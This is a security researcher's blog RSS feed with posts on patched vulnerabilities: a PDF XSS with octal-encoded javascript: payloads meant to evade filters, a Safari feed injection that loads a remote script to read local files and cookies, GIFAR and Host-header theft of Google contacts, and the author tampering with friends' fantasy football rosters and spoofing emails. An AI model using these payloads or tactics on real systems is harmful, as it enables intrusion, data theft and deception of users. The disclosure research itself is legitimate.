<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Billy (BK) Rios &#187; Web Application Security</title>
	<atom:link href="http://xs-sniper.com/blog/category/security/webapps/feed/" rel="self" type="application/rss+xml" />
	<link>http://xs-sniper.com/blog</link>
	<description>Thoughts on Security in an Uncivilized World…</description>
	<lastBuildDate>Wed, 21 Dec 2011 07:49:22 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Turning the Tables &#8211; Part II</title>
		<link>http://xs-sniper.com/blog/2011/06/10/turning-the-tables-part-ii/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=turning-the-tables-part-ii</link>
		<comments>http://xs-sniper.com/blog/2011/06/10/turning-the-tables-part-ii/#comments</comments>
		<pubDate>Fri, 10 Jun 2011 22:44:06 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Web Application Security]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=390</guid>
		<description><![CDATA[I’m posting some of the research I’ve been working on over the last few months. I planned on submitting some of this research to the Blackhat/DEFCON CFP, but it looks like I’ll be tied up for most of the summer and I won’t be able to make it out to Vegas for BH or DEFCON [...]]]></description>
			<content:encoded><![CDATA[<p>I’m posting some of the research I’ve been working on over the last few months.  I planned on submitting some of this research to the Blackhat/DEFCON CFP, but it looks like I’ll be tied up for most of the summer and I won’t be able to make it out to Vegas for BH or DEFCON this year (pour some out and “make it rain” for me).  The gist of the research is this:  I’ve collected of number of malware C&#038;C software packages.  I set up these C&#038;Cs in a virtual network and audited the applications and source code (when available) for bugs.  The results were surprising; most of the C&#038;C software audited has pretty crappy security.</p>
<p>This week&#8217;s sample is an auth bypass and SQL injection on a BlackEnergy C&#038;C page.  The first of the samples can be found here: <a href="http://software-security.sans.org/blog/2011/06/10/spot-the-vuln-rabbit-authbypass-and-sqli" target="_blank">http://software-security.sans.org/blog/2011/06/10/spot-the-vuln-rabbit-authbypass-and-sqli</a></p>
<p>I’ll post more samples in the coming weeks.</p>
<p>Attacking malware C&#038;C is an interesting proposition.  Exploiting a single host can result in the transfer of hundreds or even thousands of hosts from one individual to another.  I’m not the first to note that malware and C&#038;C software is evolving.  Gone are the days of simple IRC bots receiving clear text commands from an IRC server.  Today’s C&#038;C’s are full fledged, feature rich applications with much complexity.  Complexity is the enemy of security, even malware authors cannot escape this.  There is no magic bullet, even malware authors face the difficulties of writing secure code.  This is especially so if their customers are paying money for C&#038;C software and demand newer features and robust interfaces.  Today’s malware landscape looks much like a typical software enterprise with paying customers, regularly scheduled feature updates, marketing, and a sprinkling of PR.  Who knows, maybe in the near future these malware enterprises will have dedicated, on-call security engineering teams and a formal SDL process <img src='http://xs-sniper.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2011/06/10/turning-the-tables-part-ii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Put me in Coach!</title>
		<link>http://xs-sniper.com/blog/2010/09/22/put-me-in-coach/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=put-me-in-coach</link>
		<comments>http://xs-sniper.com/blog/2010/09/22/put-me-in-coach/#comments</comments>
		<pubDate>Wed, 22 Sep 2010 07:57:32 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Blogroll]]></category>
		<category><![CDATA[Web Application Security]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=323</guid>
		<description><![CDATA[*** UPDATE *** Rex Grossman is out for the season.  ESPN has fixed the issues I discussed below.  However, before you give up on your fantasy football season, apparently there is a stored XSS that I missed.  This guy will have details posted soon &#8211;&#62;  http://lanmaster53.com/?p=182 .  The fun never stops *** UPDATE *** First, some background.  [...]]]></description>
			<content:encoded><![CDATA[<p>*** UPDATE ***<br />
Rex Grossman is out for the season.  ESPN has fixed the issues I discussed below.  However, before you give up on your fantasy football season, apparently there is a stored XSS that I missed.  This guy will have details posted soon &#8211;&gt;  <a rel="nofollow" href="http://lanmaster53.com/?p=182" target="_blank">http://lanmaster53.com/?p=182</a> .  The fun never stops <img src='http://xs-sniper.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
*** UPDATE ***</p>
<p>First, some background.  I love American football.  My team is the Chicago Bears.   I’ve been a Bears fan since the 80&#8242;s when Walter Payton, Mike Singletary, and Jim McMahon <a title="Super Bowl Shuffle" href="http://en.wikipedia.org/wiki/1985_Chicago_Bears_season" target="_blank">dominated the field</a>.  The last few years as a Bears fan has been difficult, but I’ve hung in there.  A few years ago the Bears had a quarterback named Rex Grossman.  To put it lightly, <a title="Rex G" href="http://www.cbssports.com/columns/story/9976280" target="_blank">he wasn’t the greatest QB a team could have</a>, in fact the Bears have traded him away.  I never really liked him.</p>
<p style="text-align: center;"><a href="http://xs-sniper.com/blog/wp-content/uploads/2010/09/rex-grossman-fumble.jpg"><img class="size-medium wp-image-330 aligncenter" title="rex-grossman-fumble" src="http://xs-sniper.com/blog/wp-content/uploads/2010/09/rex-grossman-fumble-275x300.jpg" alt="" width="275" height="300" /></a></p>
<p>Earlier this month, I was invited to play in a fantasy football league.  I’ve never played fantasy football, but I understood the rules and had many friends who played.  My friends (none of which work with computers for a living) needed one more player to round out a league of 10 teams so I decided to give it a shot.  Before the “season” begins, each player selects the football players they think will be the most successful during the season.  As my best player, I selected a running back named Ryan Grant who runs for the Green Bay Packers.  I was shocked to see my star player injured in the first game of the season with a <a title="Grant out for the season" href="http://sportsillustrated.cnn.com/2010/football/nfl/09/14/packers.grant.ap/index.html" target="_blank">season ending injury</a>.  As I navigated the fantasy football website to find a replacement player, I came across several interesting issues.  There are some issues that allow me to cheat and win (dropping arbitrary players from another teams roster, modifying another teams starting lineup), but I want to win fair and square (I guess that Midshipman honor code has stuck with me)… but as a notorious prankster I figured I could have a little fun with the bugs I discovered.</p>
<p>When a team decides to add a new player to their roster the player navigates through several menus and selection screens.  The final confirmation URL for adding a player to the bench looks something like this:</p>
<blockquote><p>leagueId=111111&amp;incoming=1&amp;trans=2_4480_-1_1002_3_20</p></blockquote>
<p>The leagueId represents the “league” in which our teams are playing.  The trans parameter represents the actual transaction.  Looking at the trans parameter, I’ve broken the various pieces into the following:</p>
<blockquote><p>2 &lt;&#8211; this is the type of transaction to be executed</p>
<p>4480 &lt;&#8211; This is the unique player ID for Rex Grossman</p>
<p>-1 &lt;&#8211; some sort of increment value/ counter?</p>
<p>1002 &lt;&#8211; another value that describes the transaction</p>
<p>3 &lt;&#8211; team id for my team</p>
<p>20 &lt;&#8211; not sure what this number is</p></blockquote>
<p>Unfortunately for the other players in my league, the fantasy football application does a poor job of authorization checking.  These poor checks allow me to manipulate the trans parameter to add an arbitrary player to any teams roster.   I decided to add Rex Grossman to one of my rivals bench (not the starting lineup).</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2010/09/Grossman-to-bench.png"><img class="aligncenter size-full wp-image-324" title="Grossman-to-bench" src="http://xs-sniper.com/blog/wp-content/uploads/2010/09/Grossman-to-bench.png" alt="" width="469" height="37" /></a></p>
<p>Soon after adding Rex to my rival’s bench, I spoofed an email from Rex Grossman with a plea to play.</p>
<p style="text-align: center;"><a href="http://xs-sniper.com/blog/wp-content/uploads/2010/09/Email-from-rex-san.png"><img class="aligncenter size-full wp-image-325" title="Email-from-rex-san" src="http://xs-sniper.com/blog/wp-content/uploads/2010/09/Email-from-rex-san.png" alt="" width="419" height="169" /></a></p>
<p>A few days later, my rival was posting to the entire league that Rex Grossman had magically added himself to his roster and had emailed him to play.  My rival then dropped him from the roster before the next weeks play.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2010/09/rex-dropped.png"><img class="aligncenter size-full wp-image-326" title="rex-dropped" src="http://xs-sniper.com/blog/wp-content/uploads/2010/09/rex-dropped.png" alt="" width="280" height="37" /></a></p>
<p>Unfortunately for my rival, Rex is a persistent player.  This week I traded him from waivers for another player on my rivals team.  Trading from waivers/free agency is a bit more complicated and the query string is a bit more complicated, but the overall gist is the same (I also had to fake the waiver transaction ID).</p>
<blockquote><p>trans=3_2753_1_20_-1_1002|2_4480_-1_1002_1_20</p></blockquote>
<p>The numbers before the “|” character belong to the player who is to be dropped from the roster (the bench) to waivers while the numbers after the pipe character represent the player to be added to the roster (to the bench, not the starting lineup).  In this example, I’ve dropped T.J. Houshmandzadeh off of my rival’s bench roster and added Rex Grossman back to the bench.</p>
<p style="text-align: center;"><a href="http://xs-sniper.com/blog/wp-content/uploads/2010/09/transfer.png"><img class="aligncenter size-full wp-image-327" title="transfer" src="http://xs-sniper.com/blog/wp-content/uploads/2010/09/transfer.png" alt="" width="517" height="141" /></a></p>
<p>Of course, another spoofed email goes out to explain the situation.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2010/09/Email-from-rex2.png"><img class="aligncenter size-full wp-image-328" title="Email-from-rex2" src="http://xs-sniper.com/blog/wp-content/uploads/2010/09/Email-from-rex2.png" alt="" width="483" height="222" /></a></p>
<p>We’ll see what next week brings.  I’ve contacted the fantasy football game provider (probably the largest provider in the US), hopefully they’ll fix it soon…</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2010/09/22/put-me-in-coach/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>PDF XSS (CVE-2010-0190)</title>
		<link>http://xs-sniper.com/blog/2010/09/06/pdf-xss-cve-2010-0190/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=pdf-xss-cve-2010-0190</link>
		<comments>http://xs-sniper.com/blog/2010/09/06/pdf-xss-cve-2010-0190/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 02:57:10 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Application Security]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=315</guid>
		<description><![CDATA[In April of this year, Adobe patched a couple of bugs I reported to them.  One was a code execution bug (CVE-2010-0191) and the other was a PDF based XSS (CVE-2010-0190).  I’ll cover the code execution bug in a future post (as Adobe is still fixing a variant I reported), but for now I’d like [...]]]></description>
			<content:encoded><![CDATA[<p>In April of this year, Adobe patched a couple of bugs I<a title="Adobe Bulletin" href="http://www.adobe.com/support/security/bulletins/apsb10-09.html" target="_blank"> reported to them</a>.  One was a code execution bug (CVE-2010-0191) and the other was a PDF based XSS (CVE-2010-0190).  I’ll cover the code execution bug in a future post (as Adobe is still fixing a variant I reported), but for now I’d like to touch on the PDF XSS.</p>
<p>PDF based XSS isn’t a new concept, even Adobe considers PDFs to be active content.  With that said, I’m surprised at the number of web applications that allow users to upload PDFs and then serve those PDF’s inline as opposed to an attachment (although there are some gotchas with content-disposition attachment).  Serving a user supplied PDF inline essentially allows that user to execute arbitrary client side code from the domain serving the PDF.  The safer way to handle PDFs is to serve them with the content-disposition set to attachment.  An even better method is to serve the user controlled content from a separate domain.  This can be difficult for web content portals that are deployed internally like SharePoint, Outlook Web Access (OWA) and Oracle Web (all of which were affected by this bug) where the organization would have to write custom code and employ custom configurations to protect themselves from PDF based XSS exposures.  Serving PDFs with a content disposition set to attachment also creates usability issues as an ugly download warning will appear instead of the more friendly PDF content in the browser window behavior.</p>
<p>Although this particular bug was patched by Adobe a few months ago, there were a few things I learned that could possibly be used in other PDF bugs.  I&#8217;d like to share some of the more interesting items.</p>
<h4>PDFs Support Octal Encoding</h4>
<p>PDFs support  JavaScript from within the PDF.  Unfortunately, the script executed from within the PDF will not have access to the browsers DOM.  In order to gain access to the browser’s DOM, we have to use the PDF to redirect the browser to a JavaScript URI.  Normally, redirection to JavaScript URIs are blocked by the PDF security routines, however I discovered an easy bypass using octal encoding.  I place the JavaScript payload into an OpenAction for the PDF, using an octal encoded value (\72) for the “:” character.  An example of the OpenAction is presented below:</p>
<blockquote><p>%PDF-1.1<br />
1 0 obj<br />
&lt;&lt;<br />
/Type /Catalog<br />
/OpenAction &lt;&lt;<br />
/S /URI<br />
/IsMap false<br />
/URI (javascript\72alert(&#8220;FTW &#8211; &#8220;+document.domain))<br />
&gt;&gt;</p></blockquote>
<p>A super simple XSS with PDFs.  When the PDF is opened in the browser, it redirects the browser to a JavaScript URL allowing for XSS.  Mailing out a rigged PDF as an attachment to some friends using OWA would have been an interesting exercise as certain versions of OWA open PDF attachments inline.  Although I encoded the “:” character in the example above, any character in passed to the OpenAction can be encoded and Adobe Reader will handle it.  In fact, octal encoding can be used throughout the PDF in various scripts and actions.  For example, you could encode the entire protocol handler and it would still work:</p>
<blockquote><p>/URI (\112\101\126\101\123\103\122\111\120\124\72alert(document.domain))</p></blockquote>
<p>You can even mix and match the encoding, making it extremely difficult for any signature based IDS to detect malicious payloads.</p>
<blockquote><p>/URI (j\101v\101s\103r\111p\124\72alert(document.domain))</p></blockquote>
<p>If you’re up against a security blacklist when attempting to exploit a PDF bug, try passing an octal encoded value for your payload.  This was the bug Adobe fixed with CVE-2010-0190</p>
<h4>Security models are different for local and remote PDFs</h4>
<p>Like most browser plug-ins Adobe has implemented different security mechanisms for PDFs opened from the local file system and PDFs opened remotely.  It can be useful to determine whether the PDF was opened remotely or locally.  The following script returns an indication as to how the PDF was loaded.</p>
<blockquote><p>//In the browser or loaded locally<br />
if ( this.external )<br />
{<br />
// Viewing from a browser<br />
}<br />
else<br />
{<br />
// Viewing in the Acrobat application.<br />
}</p></blockquote>
<p>This can be useful if your exploit only works for locally loaded PDFs or maybe if your exploit only works for remotely loaded PDFs.</p>
<h4>PDFs can be used to call the default browser</h4>
<p>There can be situations where the user browses certain websites with one browser, but uses another browser as their default browser.  Adobe Acrobat Reader actually provides an API (I’m not sure if it’s intentional) to pass a URI to the default browser.</p>
<blockquote><p>app.launchURL(&#8220;http://xs-sniper.com/&#8221;,true);</p></blockquote>
<p>If a user calls app.launchURL and passes the “true” flag, the default browser is opened and handles the passed URI.  This can provide a bridge between two different browsers and can increase the reachable attack surface in some circumstances.  If the user is using the default browser to open the PDF, this can help bypass pop-up blockers.  You can test this by setting your default browser to IE and browsing the following PDF in FireFox. <a title="Default Browser" href="http://xs-sniper.com/sniperscope/Adobe/PDF/launch-default-browser.pdf" target="_blank"> PDF HERE</a></p>
<p>There was an excellent presentation at <a title="Origami" href="http://www.security-labs.org/fred/docs/pacsec08/pacsec08-fr-gd-full.pdf" target="_blank">PacSec </a>that covered a ton of PDF bugs and <a title="Didier Stevens" href="http://blog.didierstevens.com/" target="_blank">Didier Stevens</a> always has interesting PDF stuff.  I hope this helps someone out there!  Happy hunting.</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2010/09/06/pdf-xss-cve-2010-0190/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Stealing Files With Safari 5 (CVE-2010-1778)</title>
		<link>http://xs-sniper.com/blog/2010/08/02/stealing-files-with-safari-5-cve-2010-1778/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=stealing-files-with-safari-5-cve-2010-1778</link>
		<comments>http://xs-sniper.com/blog/2010/08/02/stealing-files-with-safari-5-cve-2010-1778/#comments</comments>
		<pubDate>Mon, 02 Aug 2010 09:54:05 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Application Security]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=304</guid>
		<description><![CDATA[Last week, Apple patched a bug in Safari I had reported to the Apple security team.  The impact of the bug was listed as a vulnerability that could “cause files from the user’s system to be sent to a remote server”.  The advisory can be found here (CVE-2010-1778). Here’s a breakdown of how you can [...]]]></description>
			<content:encoded><![CDATA[<p>Last week, Apple patched a bug in Safari I had reported to the Apple security team.  The impact of the bug was listed as a vulnerability that could “<em>cause files from the user’s system to be sent to a remote server</em>”.  The advisory can be found <span style="text-decoration: underline;"><strong><a title="Safari Advisory" href="http://support.apple.com/kb/HT4276" target="_blank">here</a></strong></span> (CVE-2010-1778).</p>
<p>Here’s a breakdown of how you can get “<em>files from the user’s system to be sent to a remote server</em>”.  First, Safari has a built-in RSS/Feed processor which will take RSS files and transforms them into a format that is easy to read.  It’s important to understand that the XML content of the file being provided to the feed URL is not the same as the output markup that will be displayed by Safari’s built-in feed reader.  Safari takes bits of content from the RSS file and mixes it with some built-in markup.  Try browsing to this RSS feed with Firefox (<a title="RSS Feed" href="http://xs-sniper.com/blog/feed/rss/" target="_blank">http://xs-sniper.com/blog/feed/rss/</a>) and do a quick view source.  Then try browsing to the same URL with Safari and view source.  You&#8217;ll see some drastic differences in the HTML markup between the two browser (the raw XML vs Safari&#8217;s transform).</p>
<p>When transforming the original XML file to a format that can be displayed by Safari’s internal feed reader, Safari also attempts to sanitize the XML file to prevent the execution of user/attacker controlled JavaScript.  This sanitization is done because JavaScript executed under the feed:// protocol has access to the local file system and is <strong>NOT </strong>subject to the same origin policy.  This bug bypassed these sanitization routines, giving an attacker the ability to execute arbitrary JavaScript under the feed protocol.  The specific bypass is here (although the Jay-Z content isn&#8217;t necessary for the exploit, it adds a bit of flava&#8230;):</p>
<blockquote><p>&lt;category term=&#8221;Hip Hop/Rap&#8221; scheme=&#8221;http://itunes.apple.com/us/genre/music-hip-hop-rap/id18?uo=2&#8243; label=&#8221;Hip Hop/Rap&#8221;/&gt;</p>
<p>&lt;link title=&#8221;Preview&#8221; rel=&#8221;enclosure&#8221; type=<span style="color: #ff0000;"><strong>&#8216;video/x-m4&#8243;&#8211;&gt;&lt;script src=&#8221;http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js&#8221;&gt;<br />
&lt;/script&gt;&#8217;</strong></span> href=&#8221;data:text/html,testtesttest&#8221; im:assetType=&#8221;preview&#8221;&gt;&lt;im:duration&gt;30864&lt;/im:duration&gt;&lt;/link&gt;</p>
<p>&lt;im:artist href=&#8221;http://itunes.apple.com/us/artist/jay-z/id112080?uo=2&#8243;&gt;Jay-Z&lt;/im:artist&gt;<img src="file:///C:/Users/BK/Documents/Personal/Blog/8-2-%20Safari%20RSS/attacker%20XML.PNG" alt="" /></p></blockquote>
<p>The XML above is transformed into the following by Safari’s feed processing routines:</p>
<blockquote><p>&lt;div&gt;</p>
<p><span style="color: #ff0000;">&lt;!&#8211;    &lt;img src=&#8221;feed:///__icon32__/video/x-m4&#8243;&#8211;&gt;&lt;script src=&#8221;http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js&#8221;&gt; &lt;/script&gt;&#8221;&gt; &#8211;&gt;</span></p>
<p>&lt;img src=&#8221;file://localhost/C:/Program%20Files%20(x86)/Safari/PubSub.resources/default.jpg&#8221; height=&#8221;32&#8243; width=&#8221;32&#8243;/&gt;</p></blockquote>
<p>The script include is executed in HTML markup, requesting a JavaScript payload of the attackers choice.  A quick PoC can be found <a title="Feedpwn" href="http://xs-sniper.com/blog/Safari-Feed/feedpwn-mac.xml" target="_blank">here</a> (http://xs-sniper.com/blog/Safari-Feed/feedpwn-mac.xml).  For Mac users without the latest patches for Safari, the PoC loads an attacker controlled JavaScript include and simply shows your /etc/passwd in a JavaScript dialog.  A better payload would be to crawl certain log files, extracting the username of the current user.  Once the username is extracted, the payload could grab the cookies.plist file giving the remote attacker all the cookies for all the websites the current user is logged into.  Various configuration and ini files could be useful as well.  I’m putting the final touches on a metasploit module that does just this <img src='http://xs-sniper.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2010/08/02/stealing-files-with-safari-5-cve-2010-1778/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SUN Fixes GIFARs</title>
		<link>http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=sun-fixes-gifars</link>
		<comments>http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/#comments</comments>
		<pubDate>Wed, 17 Dec 2008 09:22:26 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[Applet]]></category>
		<category><![CDATA[contact list]]></category>
		<category><![CDATA[GIFARs]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[Patch]]></category>
		<category><![CDATA[pwnd]]></category>
		<category><![CDATA[SUN]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[webapp]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=190</guid>
		<description><![CDATA[Last week, Sun released a patch for a vulnerability I reported to them.  The patch I’m talking about fixes the “GIFAR” issue.  I was unable to speak on the issue at Black Hat (for various reasons), but Nate McFeters did a great job of presenting the concept of GIFARs at Black Hat USA along with [...]]]></description>
			<content:encoded><![CDATA[<p>Last week, Sun released a<a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5343" target="_blank"> patch for a vulnerability I reported to them</a>.  The patch I’m talking about fixes the “<a title="GIFAR... what the hell is it?" href="http://blogs.zdnet.com/security/?p=1619" target="_blank">GIFAR</a>” issue.  I was unable to speak on the issue at Black Hat (for various reasons), but Nate McFeters did a great job of presenting the concept of GIFARs at Black Hat USA along with a simple example of how an attacker could use a GIFAR in an attack.  Now that the issue has been patched, I’d like to cover some of the things related to “GIFARs” that I thought were interesting (including a few items that were not mentioned at Black Hat).</p>
<p>Before we begin, I’d like to thanks Chok Poh from Sun’s Security team.  Chok was vital in fixing the GIFAR issue.  This patch required some significant thought as to how to best handle this issue.  Chok was very responsive and was smart enough to understand the impact of the unusual issue.  I’d also like to thank the Google Security team.  Google was our “guinea pig” for testing some of the pieces related to GIFARs and despite having to redesign some of their application behavior, they were gracious and very worked diligently to protect their users.  Now, on to the show!</p>
<p>As shown by Nate at Black Hat, creating the GIFAR is simple, we simply use the “copy” command on Windows or the “cat” command on *nix.  There are a few different places that talk about this technique (pdp has a great <a title="pdp" href="http://www.gnucitizen.org/blog/java-jar-attacks-and-features/" target="_blank">write up</a>), but I first learned of the technique from <a title="LifeHacker" href="http://lifehacker.com/software/privacy/geek-to-live--hide-data-in-files-with-easy-steganography-tools-230915.php" target="_blank">Lifehacker.com in this post</a>.  Once the GIFAR is created, we examine the file in a HEX editor.  The header of the file looks something like this:</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide1.png" target="_blank"><img class="alignnone size-medium wp-image-193" title="header" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide1-300x225.png" alt="header" width="300" height="225" /></a></p>
<p>The footer looks something like this:</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide2.png" target="_blank"><img class="alignnone size-medium wp-image-195" title="Footer" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide2-300x225.png" alt="Footer" width="300" height="225" /></a></p>
<p>We now have a file that is both a valid GIF and valid Java JAR.  We now upload our GIFAR to our victim domain (in this case Google’s Picasa Web).  Google attempts to ensure the file is a valid GIF (which it is) and takes ownership of the GIFAR on their domain.  Once Google has taken ownership of the GIFAR, I can reference the applet on my attacking page via the APPLET tag.  I think the items above were well covered at Black Hat and it is these concepts that represent the essence of a generic GIFAR attack… but Google is smart and they understood the dangers of insecure content ownership before GIFAR, so let’s looks at how we bypassed these Google specific protections.</p>
<p>When we first examined the GIFAR we uploaded to Picasa Web, it wasn’t actually served from the google.com domain.  The actual domain it was served from lh4.ggpht.com.  Below is a screenshot of the domain Google was using to serve the user supplied images.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide3.png" target="_blank"><img class="alignnone size-medium wp-image-196" title="Google Alias" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide3-300x225.png" alt="Google Alias" width="300" height="225" /></a></p>
<p>After some investigation, we realized that ggpht.com was actually an alias for google.com.  So, we could manually change our request from lh4.ggpht.com to lh4.google.com.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide4.png" target="_blank"><img class="alignnone size-medium wp-image-197" title="lh4.google.com" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide4-300x225.png" alt="lh4.google.com" width="300" height="225" /></a></p>
<p>Bingo!  Now we are on a google.com domain!  From here, a lot of attackers begin to think “Java has raw sockets…”.  It’s one of the first avenues we approached, but we quickly discovered that raw sockets aren’t as useful as other techniques.  Instead of raw sockets, we chose to use Java’s<a title="HTTPUrlConnection" href="http://java.sun.com/javase/6/docs/api/java/net/HttpURLConnection.html" target="_blank"> HTTPUrlConnection</a> object.  We chose the HTTPUrlConnection object for two very good reasons.  The first reason is HTTPUrlConnection uses the browsers cookies when making request to domains.  So, if our applet is stored on lh4.google.com and the user is signed into Google, we get to piggy back off the victim’s cookies.  We’ll get to the second reason here in a bit.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/httpurlconnection1.png" target="_blank"><img class="alignnone size-full wp-image-204" title="httpurlconnection1" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/httpurlconnection1.png" alt="httpurlconnection1" width="493" height="201" /></a></p>
<p>Now, even though we are now on the google.com domain, we still have a problem.  The Java Same Origin Policy allows the applet to connect back to the domain that served the applet (I’ve covered this behavior before in<a title="Code.Google" href="http://xs-sniper.com/blog/2008/04/04/insecure-content-ownership/" target="_blank"> previous posts</a>).  Considering the applet was served from lh4.google.com, the attacker is allowed to use the applet to connect back to lh4.google.com and only lh4.google.com.  The problem here is lh4.google.com doesn’t store anything interesting.  This problem leads us to the second reason we chose the HTTPUrlConnection object.</p>
<p>Java’s HTTPUrlConnection object has a method named “<a href="http://java.sun.com/javase/6/docs/api/java/net/URLConnection.html#setRequestProperty(java.lang.String,%20java.lang.String)" target="_blank">setRequestProperty</a>”.  Using setRequestProperty we can set arbitrary HTTP headers for our GET and POST requests.  We use the setRequestProperty to set the HOST header for the HTTP request, allowing us to “jump” from the lh4.google.com domain to any other google.com sub domain.  As a simple example, I had discovered a contact list at http://groups-beta.google.com/groups/profile/contacts?out=&amp;max=500 (Google has removed this contact list).  I set the URL object passed to the HTTPUrlConnection object to http://lh4.google.com/groups/profile/contacts?out=&amp;max=500.  I also set the HOST header to groups-beta.google.com.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/host.png" target="_blank"><img class="alignnone size-full wp-image-199" title="host" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/host.png" alt="host" width="494" height="124" /></a></p>
<p>When the request is made, Java checks the value of the URL object to ensure the Same Origin Policy is enforced.  Since the domain of the URL object is lh4.google.com, everything checks out and Java lets the request through.  Once Google receives the request, it checks the HOST header to determine where the resource should be served from.  The HOST header specifies that the resource should be served from groups-beta.google.com, so despite the fact that the URL points to lh4.google.com, Google serves the contact list from groups-beta.google.com.  In this example, I stole a user’s contact list but it could have been any content from a number of Google sub domains.</p>
<p><a href="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide5.png" target="_blank"><img class="alignnone size-medium wp-image-200" title="All your contacts are belong to us" src="http://xs-sniper.com/blog/wp-content/uploads/2008/12/slide5-300x225.png" alt="All your contacts are belong to us" width="300" height="225" /></a></p>
<p>It’s easy to blame Java (Sun) for this issue.  After all, it was their JRE that had a relaxed Jar parsing criterion which allowed GIFARs to be passed as Jars.  In many respects some blame could be placed on Sun, but in my opinion (as humble as it is), this is ultimately a web application issue.  When a web application chooses to take ownership of a user controlled file and serves it from their domain, it weakens the integrity of the domain.  This isn’t the first time an image was repurposed like this,<a href="http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx" target="_blank"> IE has had MIME sniffing issues with images</a>, <a href="http://www.hardened-php.net/library/poking_new_holes_with_flash_crossdomain_policy_files.html" target="_blank">Flash had crossdomain.xml issues with images</a>, and now we have GIFARs.  The impact of these attacks could have been minimized if web applications that took user controlled files served those files from a “throw away” domain.  As an application developer, you can prevent these types of attacks in the future by using a separate domain for user influenced files.</p>
]]></content:encoded>
			<wfw:commentRss>http://xs-sniper.com/blog/2008/12/17/sun-fixes-gifars/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Surf Jacking Secure Cookies</title>
		<link>http://xs-sniper.com/blog/2008/09/24/surf-jacking-secure-cookies/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=surf-jacking-secure-cookies</link>
		<comments>http://xs-sniper.com/blog/2008/09/24/surf-jacking-secure-cookies/#comments</comments>
		<pubDate>Wed, 24 Sep 2008 09:10:03 +0000</pubDate>
		<dc:creator>xssniper</dc:creator>
				<category><![CDATA[Network Security]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Web Application Security]]></category>
		<category><![CDATA[cookie theft]]></category>
		<category><![CDATA[cookies. secure]]></category>
		<category><![CDATA[local network]]></category>
		<category><![CDATA[set-cookie]]></category>
		<category><![CDATA[side jacking]]></category>
		<category><![CDATA[sniffing]]></category>
		<category><![CDATA[surf jacking]]></category>

		<guid isPermaLink="false">http://xs-sniper.com/blog/?p=172</guid>
